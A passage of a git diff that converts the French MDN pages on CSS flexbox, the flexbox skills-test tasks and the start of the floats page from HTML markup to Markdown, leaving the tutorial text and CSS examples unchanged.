200px; } article:nth-of-type(3) { flex: 2 200px; -}</pre> +} +``` -<p>En gros, cela dit : « Chaque élément flex reçoit d'abord 200px de l'espace disponible quand c'est possible. Ensuite, le reste de l'espace disponible est réparti selon les unités de proportion ». Note : <em>quand ce n'est pas possible, ce sont les unités de proportions qui sont prises en compte.</em></p> +En gros, cela dit : « Chaque élément flex reçoit d'abord 200px de l'espace disponible quand c'est possible. Ensuite, le reste de l'espace disponible est réparti selon les unités de proportion ». Note : _quand ce n'est pas possible, ce sont les unités de proportions qui sont prises en compte._ -<p>Actualisez et vous devriez voir une différence dans la façon dont l'espace est réparti.</p> +Actualisez et vous devriez voir une différence dans la façon dont l'espace est réparti. -<p><img alt="Modulation de la largeur" src="Exemple_flexbox_4.png"></p> + -<p>Le véritable intérêt de flexbox apparaît dans sa souplesse et sa réactivité — si vous redimensionnez la fenêtre du navigateur ou ajoutez un autre élément {{htmlelement("article")}}}, la mise en page continue de fonctionner correctement.</p> +Le véritable intérêt de flexbox apparaît dans sa souplesse et sa réactivité — si vous redimensionnez la fenêtre du navigateur ou ajoutez un autre élément {{htmlelement("article")}}}, la mise en page continue de fonctionner correctement. -<h2 id="Flex_forme_abrégée_vs_forme_longue">Flex : forme abrégée vs forme longue</h2> +## Flex : forme abrégée vs forme longue -<p>{{cssxref("flex")}} est une forme abrégée de propriété qui peut servir à définir trois valeurs différentes :</p> +{{cssxref("flex")}} est une forme abrégée de propriété qui peut servir à définir trois valeurs différentes : -<ul> - <li>une valeur de proportion sans unité, vue ci‑dessus. Elle peut être précisée seule avec la forme longue de la propriété {{cssxref("flex-grow")}} ;</li> - <li>une deuxième valeur de proportion sans unité — {{cssxref("flex-shrink")}} — intervenant quand les éléments flex débordent du conteneur. Elle indique la quantité de dépassement à retirer de l'extension de chacun des éléments flex pour les empêcher de déborder du conteneur. Il s'agit d'une fonctionnalité avancée de flexbox, et nous n'en parlerons plus dans cet article ;</li> - <li>une valeur de taille minimale, vue ci‑dessus. Elle peut aussi être précisée seule avec la forme longue de la propriété {{cssxref("flex-basis")}}.</li> -</ul> +- une valeur de proportion sans unité, vue ci‑dessus. Elle peut être précisée seule avec la forme longue de la propriété {{cssxref("flex-grow")}} ; +- une deuxième valeur de proportion sans unité — {{cssxref("flex-shrink")}} — intervenant quand les éléments flex débordent du conteneur. Elle indique la quantité de dépassement à retirer de l'extension de chacun des éléments flex pour les empêcher de déborder du conteneur. Il s'agit d'une fonctionnalité avancée de flexbox, et nous n'en parlerons plus dans cet article ; +- une valeur de taille minimale, vue ci‑dessus. Elle peut aussi être précisée seule avec la forme longue de la propriété {{cssxref("flex-basis")}}. -<p>Nous vous déconseillons d'utiliser les propriétés flex sous leur forme longue, sans autre alternative possible (par exemple, pour annuler quelque chose déjà défini). Elles représentent du code supplémentaire, et peuvent être quelque peu déroutantes.</p> +Nous vous déconseillons d'utiliser les propriétés flex sous leur forme longue, sans autre alternative possible (par exemple, pour annuler quelque chose déjà défini). Elles représentent du code supplémentaire, et peuvent être quelque peu déroutantes. -<h2 id="Alignement_horizontal_et_vertical">Alignement horizontal et vertical</h2> +## Alignement horizontal et vertical -<p>Vous pouvez également utiliser les fonctionnalités de flexbox pour aligner les éléments flex le long de l'axe principal ou croisé. Voyons cela avec un nouvel exemple — <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flex-align0.html">flex-align0.html</a> (<a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flex-align0.html">voir aussi en direct</a>). Nous allons le transformer facilement en une barre souple de boutons. Actuellement, nous avons une barre de menu horizontale avec quelques boutons tassés dans l'angle supérieur gauche.</p> +Vous pouvez également utiliser les fonctionnalités de flexbox pour aligner les éléments flex le long de l'axe principal ou croisé. Voyons cela avec un nouvel exemple — [flex-align0.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flex-align0.html) ([voir aussi en direct](http://mdn.github.io/learning-area/css/css-layout/flexbox/flex-align0.html)). Nous allons le transformer facilement en une barre souple de boutons. Actuellement, nous avons une barre de menu horizontale avec quelques boutons tassés dans l'angle supérieur gauche. -<p><img alt="Alignement" src="Exemple_flexbox_5.png"></p> + -<p>D'abord, faites une copie locale de cet exemple.</p> +D'abord, faites une copie locale de cet exemple. -<p>Ensuite, ajoutez ce qui suit à la fin de la CSS de l'exemple :</p> +Ensuite, ajoutez ce qui suit à la fin de la CSS de l'exemple : -<pre class="brush: css">div { +```css +div { display: flex; align-items: center; justify-content: space-around; -}</pre> +} +``` -<p>Actualisez la page et vous verrez que les boutons sont maintenant bien centrés, horizontalement et verticalement. Cette transformation a été opérée grâce à deux nouvelles propriétés.</p> +Actualisez la page et vous verrez que les boutons sont maintenant bien centrés, horizontalement et verticalement. Cette transformation a été opérée grâce à deux nouvelles propriétés. -<p>{{cssxref("align-items")}} fixe là où les éléments flex sont placés sur l'axe perpendiculaire, dit aussi croisé (cross axis).</p> +{{cssxref("align-items")}} fixe là où les éléments flex sont placés sur l'axe perpendiculaire, dit aussi croisé (cross axis). -<ul> - <li>Par défaut, la valeur est <code>stretch</code>, qui étire tous les éléments flex de manière à emplir le conteneur parent le long de l'axe croisé. Si le parent ne possède pas de dimension définie dans la direction de l'axe croisé, alors tous les éléments flex auront la dimension du plus étiré des éléments. C'est pour cette raison que, dans notre premier exemple, les colonnes ont toutes la même hauteur par défaut.</li> - <li>Avec la valeur <code>center</code>, utilisée dans le code ci-dessus, les éléments gardent leur dimension intrinsèque, tout en étant centrés sur l'axe croisé. C'est la raison pour laquelle, dans l'exemple actuel, les boutons sont centrés verticalement.</li> - <li>Il y a également des valeurs comme <code>flex-start</code> et <code>flex-end</code> qui alignent respectivement tous les éléments au début ou à la fin de l'axe croisé. Voyez {{cssxref("align-items")}} pour tous les détails.</li> -</ul> +- Par défaut, la valeur est `stretch`, qui étire tous les éléments flex de manière à emplir le conteneur parent le long de l'axe croisé. Si le parent ne possède pas de dimension définie dans la direction de l'axe croisé, alors tous les éléments flex auront la dimension du plus étiré des éléments. C'est pour cette raison que, dans notre premier exemple, les colonnes ont toutes la même hauteur par défaut. +- Avec la valeur `center`, utilisée dans le code ci-dessus, les éléments gardent leur dimension intrinsèque, tout en étant centrés sur l'axe croisé. C'est la raison pour laquelle, dans l'exemple actuel, les boutons sont centrés verticalement. +- Il y a également des valeurs comme `flex-start` et `flex-end` qui alignent respectivement tous les éléments au début ou à la fin de l'axe croisé. Voyez {{cssxref("align-items")}} pour tous les détails. -<p>Vous pouvez prendre le pas sur le comportement de {{cssxref("align-items")}} pour un élément flex donné en lui appliquant la propriété {{cssxref("align-self")}}. Par exemple, ajoutez ce qui suit aux CSS:</p> +Vous pouvez prendre le pas sur le comportement de {{cssxref("align-items")}} pour un élément flex donné en lui appliquant la propriété {{cssxref("align-self")}}. Par exemple, ajoutez ce qui suit aux CSS: -<pre class="brush: css">button:first-child { +```css +button:first-child { align-self: flex-end; -}</pre> +} +``` -<p>Voyez l'effet obtenu, puis supprimez ensuite la règle.</p> +Voyez l'effet obtenu, puis supprimez ensuite la règle. -<p>{{cssxref("justify-content")}} fixe où les éléments flex sont placés sur l'axe principal.</p> +{{cssxref("justify-content")}} fixe où les éléments flex sont placés sur l'axe principal. -<ul> - <li>La valeur par défaut est <code>flex-start</code>. Tous les éléments sont disposés vers l'origine de l'axe principal.</li> - <li>Vous utiliserez <code>flex-end</code> pour les disposer vers la fin.</li> - <li><code>center</code> est aussi une valeur possible pour <code>justify-content</code>. Avec elle, les éléments flex sont placés vers le centre de l'axe principal.</li> - <li>La valeur <code>space-around</code>, utilisée plus haut, est pratique — elle distribue régulièrement tous les éléments le long de l'axe principal, en laissant autant d'espace à chaque extrémité qu'entre chacun.</li> - <li>Une autre valeur, <code>space-between</code>, est semblable à <code>space-around</code> mais elle ne laisse pas d'espace aux extrémités.</li> -</ul> +- La valeur par défaut est `flex-start`. Tous les éléments sont disposés vers l'origine de l'axe principal. +- Vous utiliserez `flex-end` pour les disposer vers la fin. +- `center` est aussi une valeur possible pour `justify-content`. Avec elle, les éléments flex sont placés vers le centre de l'axe principal. +- La valeur `space-around`, utilisée plus haut, est pratique — elle distribue régulièrement tous les éléments le long de l'axe principal, en laissant autant d'espace à chaque extrémité qu'entre chacun. +- Une autre valeur, `space-between`, est semblable à `space-around` mais elle ne laisse pas d'espace aux extrémités. -<p>N'hésitez pas à jouer avec ces valeurs pour visualiser leur fonctionnement avant de poursuivre.</p> +N'hésitez pas à jouer avec ces valeurs pour visualiser leur fonctionnement avant de poursuivre. -<h2 id="Ordonner_les_éléments_flex">Ordonner les éléments flex</h2> +## Ordonner les éléments flex -<p>Flexbox dispose aussi d'une fonctionnalité pour modifier l'ordre d'affichage des éléments flex, sans en modifier l'ordre dans la source. C'est une chose impossible à réaliser avec les méthodes classiques de mise en page.</p> +Flexbox dispose aussi d'une fonctionnalité pour modifier l'ordre d'affichage des éléments flex, sans en modifier l'ordre dans la source. C'est une chose impossible à réaliser avec les méthodes classiques de mise en page. -<p>Le code pour ce faire est simple : ajoutez la règle CSS suivante dans l'exemple de code de la barre de boutons :</p> +Le code pour ce faire est simple : ajoutez la règle CSS suivante dans l'exemple de code de la barre de boutons : -<pre class="brush: css">button:first-child { +```css +button:first-child { order: 1; -}</pre> +} +``` -<p>Actualisez, et vous pouvez voir que le bouton « Smile » a été déplacé en fin de l'axe principal. Voyons en détail comment cela fonctionne :</p> +Actualisez, et vous pouvez voir que le bouton « Smile » a été déplacé en fin de l'axe principal. Voyons en détail comment cela fonctionne : -<ul> - <li>par défaut, tous les éléments flex possèdent une valeur {{cssxref("order")}} égale à 0 ;</li> - <li>les éléments flex avec des valeurs <code>order</code> plus élévées apparaîtront plus tard dans l'ordre d'affichage que ceux avec des valeurs plus faibles ;</li> - <li>les éléments flex avec les mêmes valeurs pour <code>order</code> sont affichés dans l'ordre de la source. Ainsi, si vous avez 4 éléments avec des valeurs <code>order</code> de 2, 1, 1 et 0, leur ordre d'affichage sera 4ème, 2ème, 3ème et premier.</li> - <li>Le troisième élément suit le deuxième, car il a la même valeur pour <code>order</code> et qu'il est placé après dans le code source.</li> -</ul> +- par défaut, tous les éléments flex possèdent une valeur {{cssxref("order")}} égale à 0 ; +- les éléments flex avec des valeurs `order` plus élévées apparaîtront plus tard dans l'ordre d'affichage que ceux avec des valeurs plus faibles ; +- les éléments flex avec les mêmes valeurs pour `order` sont affichés dans l'ordre de la source. Ainsi, si vous avez 4 éléments avec des valeurs `order` de 2, 1, 1 et 0, leur ordre d'affichage sera 4ème, 2ème, 3ème et premier. +- Le troisième élément suit le deuxième, car il a la même valeur pour `order` et qu'il est placé après dans le code source. -<p>Vous pouvez donner des valeurs négatives à <code>order</code> pour faire en sorte que ces éléments soient affichés avant les éléments d'ordre 0. Par exemple, vous pouvez faire apparaître le bouton « Blush » en tête de l'axe principal avec la règle suivante :</p> +Vous pouvez donner des valeurs négatives à `order` pour faire en sorte que ces éléments soient affichés avant les éléments d'ordre 0. Par exemple, vous pouvez faire apparaître le bouton « Blush » en tête de l'axe principal avec la règle suivante : -<pre class="brush: css">button:last-child { +```css +button:last-child { order: -1; -}</pre> +} +``` -<h2 id="Boîtes_flex_imbriquées">Boîtes flex imbriquées</h2> +## Boîtes flex imbriquées -<p>Il est possible de créer des mises en page joliment complexes avec flexbox. Il est parfaitement loisible de déclarer un élément flex en tant que conteneur flex, de sorte que ses enfants sont également disposés en tant que boîtes modulables. Regardez <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/complex-flexbox.html">complex-flexbox.html</a> (<a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/complex-flexbox.html">à voir en direct également</a>).</p> +Il est possible de créer des mises en page joliment complexes avec flexbox. Il est parfaitement loisible de déclarer un élément flex en tant que conteneur flex, de sorte que ses enfants sont également disposés en tant que boîtes modulables. Regardez [complex-flexbox.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/complex-flexbox.html) ([à voir en direct également](http://mdn.github.io/learning-area/css/css-layout/flexbox/complex-flexbox.html)). -<p><img alt="Imbrications avec flexbox" src="Exemple_flexbox_6.png"></p> + -<p>Le HTML pour cela est vraiment simple. Voici un élément {{htmlelement("section")}} contenant trois éléments {{htmlelement("article")}}. Le troisième élément {{htmlelement("article")}} contient trois éléments {{htmlelement("div")}}. Le premier élément {{htmlelement("div")}} contient cinq éléments {{htmlelement("button")}} :</p> +Le HTML pour cela est vraiment simple. Voici un élément {{htmlelement("section")}} contenant trois éléments {{htmlelement("article")}}. Le troisième élément {{htmlelement("article")}} contient trois éléments {{htmlelement("div")}}. Le premier élément {{htmlelement("div")}} contient cinq éléments {{htmlelement("button")}} : -<pre>section - article - article - article - div - button - div button - div button - button - button</pre> + section - article + article + article - div - button + div button + div button + button + button -<p>Regardez le code utilisé pour cette disposition.</p> +Regardez le code utilisé pour cette disposition. -<p>Primo, nous déterminons que les enfants de l'élément {{htmlelement("section")}} seront des boîtes flexibles.</p> +Primo, nous déterminons que les enfants de l'élément {{htmlelement("section")}} seront des boîtes flexibles. -<pre class="brush: css">section { +```css +section { display: flex; -}</pre> +} +``` -<p>Secundo, nous définissons des valeurs flex pour les éléments {{htmlelement("article")}} eux‑mêmes. Remarquez en particulier ici la deuxième règle — nous paramétrons le troisième élément {{htmlelement("article")}} pour que ses enfants soient eux-mêmes disposés en tant qu'éléments flex, mais cette fois‑ci en colonne.</p> +Secundo, nous définissons des valeurs flex pour les éléments {{htmlelement("article")}} eux‑mêmes. Remarquez en particulier ici la deuxième règle — nous paramétrons le troisième élément {{htmlelement("article")}} pour que ses enfants soient eux-mêmes disposés en tant qu'éléments flex, mais cette fois‑ci en colonne. -<pre class="brush: css">article { +```css +article { flex: 1 200px; } @@ -287,56 +306,56 @@ article:nth-of-type(3) { display: flex; flex-flow: column; } -</pre> +``` -<p>Tertio, nous sélectionnons le premier élément {{htmlelement("div")}} et lui assignons la valeur <code>flex:1 100px;</code> pour qu'il ait effectivement une hauteur minimale de 100px, ensuite nous indiquons que ses enfants (les éléments {{htmlelement("button")}}) doivent être disposés en tant qu'éléments flex dans une ligne enveloppante, centrés dans l'espace disponible comme dans l'exemple des boutons vu plus haut.</p> +Tertio, nous sélectionnons le premier élément {{htmlelement("div")}} et lui assignons la valeur `flex:1 100px;` pour qu'il ait effectivement une hauteur minimale de 100px, ensuite nous indiquons que ses enfants (les éléments {{htmlelement("button")}}) doivent être disposés en tant qu'éléments flex dans une ligne enveloppante, centrés dans l'espace disponible comme dans l'exemple des boutons vu plus haut. -<pre class="brush: css">article:nth-of-type(3) div:first-child { +```css +article:nth-of-type(3) div:first-child { flex:1 100px; display: flex; flex-flow: row wrap; align-items: center; justify-content: space-around; -}</pre> +} +``` -<p>Enfin, nous définissons un dimensionnement des boutons, et plus précisément nous leur donnons une valeur flex de 1. L'effet obtenu est très intéressant ; vous l'observerez en modifiant la largeur de la fenêtre du navigateur. Les boutons prennent autant d'espace qu'il leur est permis, et sont si possible disposés sur la même ligne ; mais si ce n'est pas possible, il "descendent" pour créer de nouvelles lignes.</p> +Enfin, nous définissons un dimensionnement des boutons, et plus précisément nous leur donnons une valeur flex de 1. L'effet obtenu est très intéressant ; vous l'observerez en modifiant la largeur de la fenêtre du navigateur. Les boutons prennent autant d'espace qu'il leur est permis, et sont si possible disposés sur la même ligne ; mais si ce n'est pas possible, il "descendent" pour créer de nouvelles lignes. -<pre class="brush: css">button { +```css +button { flex: 1; margin: 5px; font-size: 18px; line-height: 1.5; -}</pre> +} +``` -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>La prise en charge de Flexbox est disponible avec la plupart des navigateurs récents — Firefox, Chrome, Opera, Microsoft Edge et IE 11, les nouvelles versions d'Android/iOS, etc. Mais vous devez être attentif au fait que l'on utilise encore des navigateurs anciens qui ne prennent pas en charge Flexbox (ou le font, mais uniquement pour des versions très anciennes, vraiment dépassées de la spécification).</p> +La prise en charge de Flexbox est disponible avec la plupart des navigateurs récents — Firefox, Chrome, Opera, Microsoft Edge et IE 11, les nouvelles versions d'Android/iOS, etc. Mais vous devez être attentif au fait que l'on utilise encore des navigateurs anciens qui ne prennent pas en charge Flexbox (ou le font, mais uniquement pour des versions très anciennes, vraiment dépassées de la spécification). -<p>Pour l'apprentissage et l'expérimentation, cela n'a pas trop d'importance. Mais utiliser flexbox pour un site web réel nécessite de faire des tests et de s'assurer que l'expérience utilisateur est toujours acceptable dans le plus grand nombre de navigateurs possible.</p> +Pour l'apprentissage et l'expérimentation, cela n'a pas trop d'importance. Mais utiliser flexbox pour un site web réel nécessite de faire des tests et de s'assurer que l'expérience utilisateur est toujours acceptable dans le plus grand nombre de navigateurs possible. -<p>Flexbox est une fonctionnalité plus complexe que les règles CSS courantes. Par exemple, une absence de prise en charge des ombres portées dans les CSS laissera le site utilisable. Mais la non prise en charge des fonctionnalités flexbox risque de casser totalement la mise en page, et de rendre le site inutilisable.</p> +Flexbox est une fonctionnalité plus complexe que les règles CSS courantes. Par exemple, une absence de prise en charge des ombres portées dans les CSS laissera le site utilisable. Mais la non prise en charge des fonctionnalités flexbox risque de casser totalement la mise en page, et de rendre le site inutilisable. -<p>Les stratégies pour contourner les problèmes de compatibilité des navigateurs est discutée dans le module <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing">Tests croisés sur navigateurs</a>.</p> +Les stratégies pour contourner les problèmes de compatibilité des navigateurs est discutée dans le module [Tests croisés sur navigateurs](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing). -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Notre visite guidée des bases de flexbox est maintenant terminée. Espérons que vous en êtes satisfaits, et que vous saurez jouer avec ses fonctionnalités tout en progressant dans l'apprentissage. Nous allons examiner ensuite un autre aspect important de la mise en page avec les CSS — les grilles CSS.</p> +Notre visite guidée des bases de flexbox est maintenant terminée. Espérons que vous en êtes satisfaits, et que vous saurez jouer avec ses fonctionnalités tout en progressant dans l'apprentissage. Nous allons examiner ensuite un autre aspect important de la mise en page avec les CSS — les grilles CSS. -<div>{{PreviousMenuNext("Apprendre/CSS/CSS_layout/Normal_Flow", "Apprendre/CSS/CSS_layout/Flexbox_skills", "Learn/CSS/CSS_layout")}}</div> +{{PreviousMenuNext("Apprendre/CSS/CSS_layout/Normal_Flow", "Apprendre/CSS/CSS_layout/Flexbox_skills", "Learn/CSS/CSS_layout")}} -<div> -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Introduction">Introduction to CSS layout</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Normal_Flow">Normal Flow</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Grids">Grid</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Floats">Floats</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Positioning">Positioning</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Multiple-column Layout</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Legacy Layout Methods</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Supporting older browsers</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Fundamental Layout Comprehension Assessment</a></li> -</ul> -</div> +- [Introduction to CSS layout](/fr/docs/Learn/CSS/CSS_layout/Introduction) +- [Normal Flow](/fr/docs/Learn/CSS/CSS_layout/Normal_Flow) +- [Flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox) +- [Grid](/fr/docs/Learn/CSS/CSS_layout/Grids) +- [Floats](/fr/docs/Learn/CSS/CSS_layout/Floats) +- [Positioning](/fr/docs/Learn/CSS/CSS_layout/Positioning) +- [Multiple-column Layout](/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout) +- [Legacy Layout Methods](/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods) +- [Supporting older browsers](/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers) +- [Fundamental Layout Comprehension Assessment](/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension) diff --git a/files/fr/learn/css/css_layout/flexbox_skills/index.md b/files/fr/learn/css/css_layout/flexbox_skills/index.md index 4e473510b9..0ba2cb65a6 100644 --- a/files/fr/learn/css/css_layout/flexbox_skills/index.md +++ b/files/fr/learn/css/css_layout/flexbox_skills/index.md @@ -4,97 +4,80 @@ slug: Learn/CSS/CSS_layout/Flexbox_skills translation_of: Learn/CSS/CSS_layout/Flexbox_skills original_slug: Apprendre/CSS/CSS_layout/Flexbox_skills --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Apprendre/CSS/CSS_layout/Flexbox", "Apprendre/CSS/CSS_layout/Grids", "Apprendre/CSS/CSS_layout")}} -<div>{{PreviousMenuNext("Apprendre/CSS/CSS_layout/Flexbox", "Apprendre/CSS/CSS_layout/Grids", "Apprendre/CSS/CSS_layout")}}</div> +Le but de cette tâche est de vous faire travailler avec Flexbox et de démontrer votre compréhension du comportement des éléments flexibles. Vous trouverez ci-dessous quatre modèles de conception courants que vous pourriez utiliser pour créer avec Flexbox, votre tâche est de les construire. -<p>Le but de cette tâche est de vous faire travailler avec Flexbox et de démontrer votre compréhension du comportement des éléments flexibles. Vous trouverez ci-dessous quatre modèles de conception courants que vous pourriez utiliser pour créer avec Flexbox, votre tâche est de les construire.</p> +> **Note :** You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as [CodePen](https://codepen.io/), [jsFiddle](https://jsfiddle.net/), or [Glitch](https://glitch.com/) to work on the tasks. +> +> If you get stuck, then ask us for help — see the {{anch("Assessment or further help")}} section at the bottom of this page. -<div class="note"> -<p><strong>Note :</strong> You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, or <a href="https://glitch.com/">Glitch</a> to work on the tasks.<br> - <br> - If you get stuck, then ask us for help — see the {{anch("Assessment or further help")}} section at the bottom of this page.</p> -</div> +## Flex Layout One -<h2 id="Flex_Layout_One">Flex Layout One</h2> +Ces éléments de liste constituent la navigation pour un site. Ils doivent être disposés en ligne, avec un espace égal entre chaque élément. L'exemple fini doit ressembler à l'image ci-dessous. -<p>Ces éléments de liste constituent la navigation pour un site. Ils doivent être disposés en ligne, avec un espace égal entre chaque élément. L'exemple fini doit ressembler à l'image ci-dessous.</p> + -<p><img alt="Flex items laid out as a row with space between them." src="flex-task1.png"></p> +Essayez de mettre à jour le code ci-dessous pour recréer l'exemple terminé : -<p>Essayez de mettre à jour le code ci-dessous pour recréer l'exemple terminé :</p> +{{EmbedGHLiveSample("css-examples/learn/tasks/flexbox/flexbox1.html", '100%', 700)}} -<p>{{EmbedGHLiveSample("css-examples/learn/tasks/flexbox/flexbox1.html", '100%', 700)}}</p> +> **Note :** For assessment or further work purposes, [download the starting point for this task](https://github.com/mdn/css-examples/blob/master/learn/tasks/flexbox/flexbox1-download.html) to work in your own editor or in an online editor. -<div class="note"> -<p><strong>Note :</strong> For assessment or further work purposes, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/flexbox/flexbox1-download.html">download the starting point for this task</a> to work in your own editor or in an online editor.</p> -</div> +## Flex Layout Two -<h2 id="Flex_Layout_Two">Flex Layout Two</h2> +Ces éléments de liste sont tous de tailles différentes, mais nous voulons qu'ils soient affichés sous forme de trois colonnes de taille égale, quel que soit le contenu de chaque élément. -<p>Ces éléments de liste sont tous de tailles différentes, mais nous voulons qu'ils soient affichés sous forme de trois colonnes de taille égale, quel que soit le contenu de chaque élément.</p> + -<p><img alt="Flex items laid out as three equal size columns with different amounts of content." src="flex-task2.png"></p> +Essayez de mettre à jour le code ci-dessous pour recréer l'exemple terminé : -<p>Essayez de mettre à jour le code ci-dessous pour recréer l'exemple terminé :</p> +{{EmbedGHLiveSample("css-examples/learn/tasks/flexbox/flexbox2.html", '100%', 800)}} -<p>{{EmbedGHLiveSample("css-examples/learn/tasks/flexbox/flexbox2.html", '100%', 800)}}</p> +Questions supplémentaires: -<p>Questions supplémentaires:</p> +- Pouvez-vous maintenant faire en sorte que le premier article soit deux fois plus grand que les autres ? -<ul> - <li>Pouvez-vous maintenant faire en sorte que le premier article soit deux fois plus grand que les autres ?</li> -</ul> +> **Note :** For assessment or further work purposes, [download the starting point for this task](https://github.com/mdn/css-examples/blob/master/learn/tasks/flexbox/flexbox1-download.html) to work in your own editor or in an online editor. -<div class="note"> -<p><strong>Note :</strong> For assessment or further work purposes, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/flexbox/flexbox1-download.html">download the starting point for this task</a> to work in your own editor or in an online editor.</p> -</div> +## Flex Layout Three -<h2 id="Flex_Layout_Three">Flex Layout Three</h2> +Il y a deux éléments dans le HTML ci-dessous, une div avec une classe `.parent` qui contient une autre div avec une classe `.child`. Utilisez Flexbox pour centrer le fichier enfant à l'intérieur du parent. -<p>Il y a deux éléments dans le HTML ci-dessous, une div avec une classe <code>.parent</code> qui contient une autre div avec une classe <code>.child</code>. Utilisez Flexbox pour centrer le fichier enfant à l'intérieur du parent.</p> + -<p><img alt="A box centered inside another box." src="flex-task3.png"></p> +Essayez de mettre à jour le code ci-dessous pour recréer l'exemple terminé : -<p>Essayez de mettre à jour le code ci-dessous pour recréer l'exemple terminé :</p> +{{EmbedGHLiveSample("css-examples/learn/tasks/flexbox/flexbox3.html", '100%', 800)}} -<p>{{EmbedGHLiveSample("css-examples/learn/tasks/flexbox/flexbox3.html", '100%', 800)}}</p> +> **Note :** For assessment or further work purposes, [download the starting point for this task](https://github.com/mdn/css-examples/blob/master/learn/tasks/flexbox/flexbox3-download.html) to work in your own editor or in an online editor. -<div class="note"> -<p><strong>Note :</strong> For assessment or further work purposes, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/flexbox/flexbox3-download.html">download the starting point for this task</a> to work in your own editor or in an online editor.</p> -</div> +## Flex Layout Four -<h2 id="Flex_Layout_Four">Flex Layout Four</h2> +Dans cette dernière tâche, placez ces éléments en lignes comme dans l'image. -<p>Dans cette dernière tâche, placez ces éléments en lignes comme dans l'image.<br> - </p> -<p><img alt="A set of items displayed as rows." src="flex-task4.png"></p> -<p>Essayez de mettre à jour le code ci-dessous pour recréer l'exemple terminé :</p> + -<p>{{EmbedGHLiveSample("css-examples/learn/tasks/flexbox/flexbox4.html", '100%', 800)}}</p> +Essayez de mettre à jour le code ci-dessous pour recréer l'exemple terminé : -<div class="note"> -<p><strong>Note :</strong> For assessment or further work purposes, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/flexbox/flexbox4-download.html">download the starting point for this task</a> to work in your own editor or in an online editor.</p> -</div> +{{EmbedGHLiveSample("css-examples/learn/tasks/flexbox/flexbox4.html", '100%', 800)}} -<h2 id="Assessment_or_further_help">Assessment or further help</h2> +> **Note :** For assessment or further work purposes, [download the starting point for this task](https://github.com/mdn/css-examples/blob/master/learn/tasks/flexbox/flexbox4-download.html) to work in your own editor or in an online editor. -<p>You can practice these examples in the Interactive Editors mentioned above.</p> +## Assessment or further help -<p>If you would like your work assessed, or are stuck and want to ask for help:</p> +You can practice these examples in the Interactive Editors mentioned above. -<ol> - <li>Put your work into an online shareable editor such as <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, or <a href="https://glitch.com/">Glitch</a>. You can write the code yourself, or use the starting point files linked to in the above sections.</li> - <li>Write a post asking for assessment and/or help at the<a href="https://discourse.mozilla.org/c/mdn"> MDN Discourse forum</a>. Add the "learning" tag to your post so we are able to more easily find it. Your post should include: - <ul> - <li>A descriptive title such as "Assessment wanted for Flexbox layout 1 skill test".</li> - <li>Details of what you would like us to do — for example what you have already tried, if you are stuck and need help,.</li> - <li>A link to the example you want assessed or need help with, in an online editor. This is a good practice to get into — it's very hard to help someone with a coding problem if you can't see their code.</li> - <li>A link to the actual task or assessment page, so we can find the question you want help with.</li> - </ul> - </li> -</ol> +If you would like your work assessed, or are stuck and want to ask for help: -<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout")}}</p> +1. Put your work into an online shareable editor such as [CodePen](https://codepen.io/), [jsFiddle](https://jsfiddle.net/), or [Glitch](https://glitch.com/). You can write the code yourself, or use the starting point files linked to in the above sections. +2. Write a post asking for assessment and/or help at the[ MDN Discourse forum](https://discourse.mozilla.org/c/mdn). Add the "learning" tag to your post so we are able to more easily find it. Your post should include: + + - A descriptive title such as "Assessment wanted for Flexbox layout 1 skill test". + - Details of what you would like us to do — for example what you have already tried, if you are stuck and need help,. + - A link to the example you want assessed or need help with, in an online editor. This is a good practice to get into — it's very hard to help someone with a coding problem if you can't see their code. + - A link to the actual task or assessment page, so we can find the question you want help with. + +{{PreviousMenuNext("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout")}} diff --git a/files/fr/learn/css/css_layout/floats/index.md b/files/fr/learn/css/css_layout/floats/index.md index 386185ea62..1557416859 100644 --- a/files/fr/learn/css/css_layout/floats/index.md +++ b/files/fr/learn/css/css_layout/floats/index.md @@ -16,52 +16,62 @@ tags: translation_of: Learn/CSS/CSS_layout/Floats original_slug: Apprendre/CSS/CSS_layout/Floats --- -<div>{{LearnSidebar}}</div> 